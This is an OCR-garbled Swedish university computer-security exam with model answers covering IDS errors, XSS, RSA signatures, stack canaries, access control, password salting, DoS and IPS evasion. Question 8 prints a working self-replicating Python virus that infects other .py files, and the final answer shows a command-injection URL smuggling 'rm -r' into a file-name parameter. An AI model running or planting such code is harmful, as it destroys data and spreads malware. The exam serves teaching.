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Ett fatal feltryck som rattades pa tavlan under tentan harigerats nedan.
Del |

| IDS-sammanhang pratar man ofta alse positiveoch False negativéAven kallatTyp | felochTyp |1
fel). Forklara vad detta innebar och hur de skiljer sig ffame positiveoch True negative

Losning: True postitive/negative innebar att trafik/beteende kakéassificerats som intrang respektive
icke-intrdng. False positive innebar att nagot felaktigiskificerats som ett intrdng och False negative
innebar att ett intrang felaktigt klassificerats som hashlo

[Det gar ocksa att svara med en matris indexerad av intranglist och detektering/ingen detekte-
ring (eller motsvarande) som illustrerar svaret pa ettedrsatt.]

P& KTH CSC har massor med studenter konton och de gér mangepnmeringslabbar. | kurser dar
man anvander exempelvis C ellet& kommer det varje ar att produceras ett antal program médrbu
overflow-sarbarheter. Innebar existensen av dessa simtuayam ett allvarligt hot? Motivera ditt svar.

Losning: De utgdr inget allvarligt hot. Programmen kors bara lokadty har de rattigheter som den som
startar dem har. Det som en elak anvandare kan stélla tillgagedm att kéra en students C-program ar
sadant som anvandaren har rattighet att géra anda.

Vad ar input fuzzing? Vad hoppas man uppna genom att anvat@a d

Ldsning: Testning genom att ge ett program en stor mangd slumpadtifiitaatt se om det kraschar
eller beter sig kostigt. Det anvands for att hitta bristermigrammet som kan utgéra sarbarheter.

Ett antivirus-program for Macintosh omkring 1990 hade enkfion som kallades for "Innoculation”
(vaccination). Den funktionen sokte igenom hardisken altayprogram och la till en stréang till program-
men. Strangen inneh6ll de magiska nummer som olika viru&rate/ for att forhindra att de infekterade
samma program flera ganger. Darmed lurades virus att ingktart vaccinerade program. Ar denna
form av IPS "Anomality based” eller "Signature based”?

Ldsning: Signature based. (PS: Funktionen hade en del brister: Daotekidrstdra program. Dessutom
anvandes samma magiska nummer av andra AV program for &ttuius vilket gav en stor mangd
utslag ifall du nagonsin bytte till ett annat AV program. Nket effektiv lock-in!)

Vad gor angriparen vid en cross site scripting-attack (X88h vem ar det som drabbas?

Losning: XSS innebar att man lyckas injicera nagon form av skriptleadmpelvis javascript, pa en
webbsida i en annan doman, ofta pa ett forum eller en bloggeK@xekveras pa klienten som laddar
sidan och drabbar allts& den som besdker sidan.

[OK att ange antingen "skriptkod” eller ett exempel, somvgakript”, s& lange det ror sig om kod
som exekverar pa klienten. Att det ar klientsidan/weblkisaom drabbas maste anges.]
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6 Anna anvander RSA-signaturer. Hon har publik RSA-nyck&] 8% och privat nyckel (5111). Hon ska
signera ett meddelande m vars hasl @) = 4 och skicka det signerade meddelandet till Bo. Vad blir
signaturen, vad skickar hon till Bo, och hur verifierar hagnaturen?

Losning: Svar: Signaturer= 13 s& hon skickar{, 13). Bo verifierar genom att berakna hashvardet 4
h(m) och verifiera att 13mod 51= 4. [Det &r ok om steget 4 h(m) inte anges explicit i verifieringen.]

7 Vilka attacker skulle forsvaras om banker anvanda digiajaaturer pa sina email-utskick?

L6sning: Phishing. [Beskrivning av phishing-attack mot bankkun@®&réven om ordet "phishing” inte
namns i svaret.]

8 Ett Python-program liknande detta har under en period s natet. Vilken form av malware skulle
du identifiera det som?

(Python &r ett intepreterande sprak. Funktioggnb . glob(<pattern>) returerar en lista av filer
som matchar ett monster och hanterar wildcards sa som Waixgér. Syntaxera[: <number>] ger
prefixet av langd <number> av strangerVariabeln__file__ ar namnet pa filen programmet kor fran.
find(haystack, needle) mostvarar Javas haystack.indeg@d{e) for strdngarna haystack och needle.
fil.read() laser hela filen.)

import glob
from string import *
xs = glob.glob("*.py")
for x in xs:
host = open(x, ’r?)
hostcode = host.read() # 1l&ds hela filen

if find(hostcode, "-=::FuzzY::=-") == -1:
host = open(x, ’w’)
myself = open(__file__, ’r’)

a = myself.read()
pattern = "#" + "KITTEN"
a = a[:find(a, pattern)+len(pattern)]
mybody=a+chr (10) +hostcode # chr(10) &r radslut
myself.close()
host.write (mybody)
host.close()
#KITTEN

L6sning: Ett virus.

9 Markera pa foljande karta vilken del av natverket som sKkliena vara DMZ.

&4

Firewall

L6sning: Den switch och de sex datorer som befinner sig mellan bragdvég.
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Del Il

10 Lat oss anta att vi anvander en Bell-LaPadula-modell medakerhetsnivaer: publik (p), skyddad (s),
hemlig (h), dar p<s<h, kombinerad med rollbaserad accésdkd-6ljande objekt finns, med markning:
log(s), info(p), produktlista(p), patent(s), merger($tyategi(h).

Foljande transaktioner finns (samtliga ar att betrakta smppénd” vilket bara spelar roll fér de som
anvant arets kursbok — de som anvant Bishop kan tanka pétioperaa som "write”):

* log-info: information om uppdateringar av info skrivd tdg.
* log-prod: dito for produktlista
* log-pat: dito for patent

* log-merge: dito fér merger

strat-prod-pat: uppdatera strategi med data fran prdidtékbch patent
« strat-merge: uppdatera strategi med data fran merger
« strat-info: uppdatera strategi med data fran info

Det finns ocksa fyra roller med ratt att kora vissa transaktio

Roll 1 log-prod, strat-prod-pat

Roll 2 log-merge, strat-prod-pat

Roll 3 strat-merge, log-pat

Roll 4 log-info, strat-info

Problemet &r att satta sakerhetsnivaer pa rollerna. Féawdem spelar det ingen roll vilken niva du
satter, ingen kommer att kunna agera fullt ut i de rollerniékkay och varfor? For de tva andra rollerna
ska du sétta sakerhetsnivaer som later dem utfora traosektia som hor till rollen. [4p]

Losning: Vi har de grundlaggande kraven: No read up och No write dovwkaW da se vilka rattigheter
som krévs for olika operationer:

Alla log- kraver rattigheter pa (s)- eller (p)-nivan. Damin&r ingen som ar (h) skriva till log (No
write down). Vi skriver de mdjliga nivaerna med mangdnatati{s, p}. Att skriva strat- kan alla (dvs
mojliga nivaer ar{p, s, h}), vilket inte utgér ndgon begransning.

Vidare kan vi se vad vi behover for lasrattigheter. Allaeinfch -prod gar med alla, s, #}). -log
och -pat kravels, h} och -merge och -strat kréveéh} .

Nu kan vi lista vilka rattigheter som kravs

log-info: {p, s}

log-prod: {p, s}

log-pat: {s}

* log-merge: (Gar g))

strat-prod-pat{s, 1}

strat-merge{ s}
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12

13

« strat-info: {p, s, h}
Och darmed:
Roll 1 log-prod, strat-prod-pat (snittet melldp, s} och {s, h} blir {s})
Roll 2 log-merge, strat-prod-pat (Gar ej eftersom log-mergekatekoras)
Roll 3 strat-merge, log-pat{¢} n {s} = {} sa det gar €))
Roll 4 log-info, strat-info (snittet &fp, s} sa endera gar bra)

Vid autentisering med biometri delar man upp protokoll tista och dynamiska protokoll. | bada fallen
gar autentiseringen till s& att man mater en egenskap hisdded med nagot méatdon.

11a Ge exempel pa en egenskap som lampar sig for ett statisktkhatbbch en som lampar sig for ett
dynamiskt. [2p]

Ldsning: Exempel: fingeravtryck (statisk), réstigenkanning (dyiskn

11b 1 det ena fallet ar det betydligt viktigare an i det andra att@rna kan lita pa sjalva matdonet.
Forklara varfor. [2p]

Lésning: Vid statisk biometri gér man samma sak varje gang vilket @ppor inspelningsattacker.
Om man far stoppa in en egen fingeravtryckslasare kan derettianett inspelat fingeravtryck.

Normalisering (Scrubbing) anvands ofta for att forhindteeker mot ett system bakom en IDS/IPS.
Forklara hur man med hjalp av IP-fragmentering kan attackgstemet trots skyddet (forutsatt att IPS-
systemet har en langre fragmentation timeout &n malet) ochdrmalisering kan hindra attacken. [3p]

Ldsning: Vi skickar en del av paketet som ar snallt och vi inte skalléamla i attacken. Sedan vantar vi
tills vi har fatt en timeout i malsystemet. Darefter skickaforsta delen av attack-paketet, vilket skall
komplettera de fragment som IPS-systemet har. IPS-sysggimau en sa kallad "false reassembly” och
far nadgot som inte ser ut som en attack. Darefter skickar \itdestdende delarna av attacken till mal
systemet. Malet satter nu samman attacken at oss.

Scrubbing hindrar attacken genom att inte skicka paketietrgiinnan det ar defragmenterat. Darmed
s& kommer IPS-systemet inte se annan data an malet ser.

Du tanker anvanda en kand, saker, hashfunktion tillsammae saltning av din I6senordsfil (a la
letc/passwd). Du véljer mellan nagra olika l6sningar:

1. Ett slumpvis salt pa 160 bitar som lagras i filens borjan smh sedan anvands som salt for alla
anvandare

2. Ett slumpvis salt fér varje anvandare, 15 bitar per anaégdsom lagras tillsammans med anvan-
darnamnet

3. Enbart hashning av lésenorden, utan nagot salt.

Jamfor losningarnas sarbarhet mot ordlistattacker mexhdaa. Motivera dina slutsatser med 6verslags-
berakningar. [4p]
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Losning: Osaltade I6senord gor att man kan anvanda samma tabell fittaxtkera alla konton pa alla
datorer som anvander denna hash algorithm. Svarighetsigrad

Det forsta saltet ar langt. Darmed garanterar det att mateng@&serera nya hashar for att attackera
denna losenordslista. Daremot ar saltet samma for allandavé, vilket gor att alla kollisioner mellan
anvandares losenord kommer att synas, samt att vi kan attaella [6senord samtidigt (exampelvis
med hjalp av Rainbow Tables). Svarigheten har okat till kétps en ny tabell for varje dator, om vi
inte far en kollision i saltet. Ifall vi antar® datorer i vérlden och ett salt p&% s& kan vi anvanda
fédelsedagsparadoxen for att rdkna ut sannolikheten fdto#ision. Enligt fodelsedagsparadoxen &r

sannolikheten att alla &r unil{&zio) /21602% Detta kommer att vara mycket nara 1. Darmed s& kan vi
anta att vi har okat svarighetsgraden med antalet datonevéofiende attackerar.

Det andra saltet ar kortare. Darmed finns det en markant diskdilisioner. Vi anvander oss av
inversa fodelsedags paradoxen for att hitta hur manga kasum maste attackera for att vi skall ha en
risk p& 50% att fienden kan ateranvinda samma tabell. Dattg/Be215In(1/(1 — 0.5)). Redan vid
213 konton s& kommer den som attackerar ha en 50% chans ttda@énda en gammal tabell. Vi kan
darmed rakna med att denna l6sning okar svarighetsgradest oai 213ggr.

Alternativa lI6sningar som utgar fran svarigheten att bytadeller for hela saltet accepteras ocksa.

Pa en x86 Windows dator ser normalt en stack Frame ut pa fi@jais. Har har vi laga adresser langst ner
och hoga adresser hogst up. Detta innebar att skrivninganmear att g& uppat och att stacken kommer
vaxa nedat nar nasta frame laggs pa.

<Previous frame>

Function arguments

Return Address

Saved Frame Pointer

Exception handler record

Local Variables and Buffers mixed.
<Next frame>

14a Rita up en stackframe sa som den skulle kunna se ut ifall vigastack cookies (canaries).
Argument skydd och stack re-ordering anvands inte. [2p]

Losning:

<Previous frame>

Function arguments

Return Address

Saved Frame Pointer

Exception handler record

Canary

Local Variables and Buffers mixed.
<Next frame>

14b Motivera varfor en stack cookie skall vara pa den platseadksn. [2p]

Losning: Kakan maste ligga ovanfor local variables ocHftar for att ge nagot skydd. Samti-
digt vill vi skydda var exception handler (farligt om denrkdivnderskriven), frame-pointern och
returadressen.

14c Stack reordering och skydd for Argument ar tva tillagg sotenigare forbattrar skyddet fran en
stack cookie. Rita upp en stack dar dessa tva metoder aneghdérklara vad de gor. [2p]
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Ldsning:

Visual C++ 7.0:
<Previous frame>
Function arguments
Return Address
Saved Frame Pointer
Exception handler
Canary

Local buffers

Local Variables
Copy of Arguments (containing buffers or pointers)
<Next frame>

Stack reordering placerar lokala variabler nedanfdfrau for att forsvara dverskrivning av olika
variabler i programmet som kan tankas paverka programfl@tempelvis pekare. ..). Argument
protection lagger en kopia av fitar och pekare i argumenten hogre upp pa stacken sa att nean int
kan skriva éver den underliggande framen genom skrivnidgakt till argumenten som metoden
tar.

Antag att du kor en konkurrent till Wikipedia (en som alla farandra) baserad pa en SQL-databas.
Datorn finns hos ett mindre Co-Hosting foretag.

Analysera vilka resurser som ar sarbara for en DoS-attaokgardna dem, forklara hur de kan attac-
keras och ge forslag pa skydd. [5p]

L6sning:

1. Bandbredd: Enkelt att attackera och svart att skydda.dgtaas genom att helt enkelt fylla band-
bredden med skrapdata fran ett botnat. Skydd skulle kunrzarear bandbredd eller att sprida ut
tjansten pa fler platser.

2. CPU: Kan attackeras genom att géra manga sokningar oclagmingar i databasen. Skydd ex-
empelvis genom begrénsning av antalet s6kningar for vBrje |

3. Minne: Det kan vara mgjligt att anvéanda en attack sa sonV$ER for att binda upp stora mang-
der resurser. Syn Cookies hjalper. Det &r ocksa mgjligt @ttogtabas fragor som returnerar ex-
tremt stora mangder data och darmed fyller upp minnet. limdenom att begransa fragorna.

4. Anvandare: Detta gors genom att fylla databasen med sitigtar som gor det svart att hitta
riktiga artiklar. Verktyg for att rensa bort skrép kan hiadfetta.

5. Disk: Den som attackerar kan forstka skapa extremt sttkdaa for att fylla disken. Skydd ar att
begréansa storleken och antalet artiklar som kan skapas.

Osquar kor en webbserver pa sin dator och har gjort en litprgpiplikation som han anvander nar han ar
pa resande fot och som ger honom fjarratkomst till vissargakéans dator via ett webb-granssnitt. Han
anvander https och har en inloggning (och ett bra I6senoat servern hller reda pa den autentiserade
sessionen m.h.a. en sessionskaka. Varje gang webbappesndtett anrop kontrolleras att sessionska-
kan ar giltig. Han har ocksa en publik ftp-katalog med en dvop dar hans vanner ska kunna lagga filer.
Han har manga vanner, sa en anonym ftp-anvandare kan laggidiibpbox:en, men inte andra eller ta
bort dem.
Hans webbapp har bland annat koden
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$list = ‘ls /public/ftp/dropbox‘; /* filnamnen i dropbox till stringen $list */
printFileUrls($list); /* Osquars egen funktion for att genererar lénkar till
filerna i dropbox */

Lankarna som printFileUrls producerar beror pa filnamnergumentet (fran Is-kommandot ovan) och
har formen:

<a href=’showfile.php?name=/public/dropbox/fulfix.cc’>fulfix.cc</a>
<a href=’showfile.php?name=/public/dropbox/hej.txt’>hej.txt</a>

Sidan showfile.php visar upp innehallet i en fil pa foljande Garutsatt att sessionskakan ar giltig).

$content = ‘cat $_GET[’name’]‘;
echo $content;

| php innebér¢strang* att strangen kors som ett kommando i OS:ets kommandotolkexifitat ar
utadata fran kommandot som har lagras i varial$ekmtent.

Vilka sarbarheter ser du? Hur skulle en attack som utnygfdoarheterna kunna ga till? Vad kan man
uppnad med attacken? [4p]

Losning: Vi kan borja med att lagga en fil som innehaller javascripd-kaDsquars "dropbox” sa att
koden laddas néar han kor showfile pa den filen (XSS). Vi seattifavascript-koden skickar oss Osquars
sessionskaka.

Om vi far tag pa sessionskakan kan vi anvanda den for attfaiseatt exekvera, och visa oss, de php-
sidor som var lésenordsskyddade. Vi kan lasa alla filer li&sbha webbservern via showfiles.php, men
det &r varre an sa. Vi kan anropa URL:er med elaka paramétait kommandon utférs av webbservern,
t.ex. nagot i stil med:

...showfiles.php?name=/public/dropbox/hej.txt;rm}%20-r%20/public/dropbox
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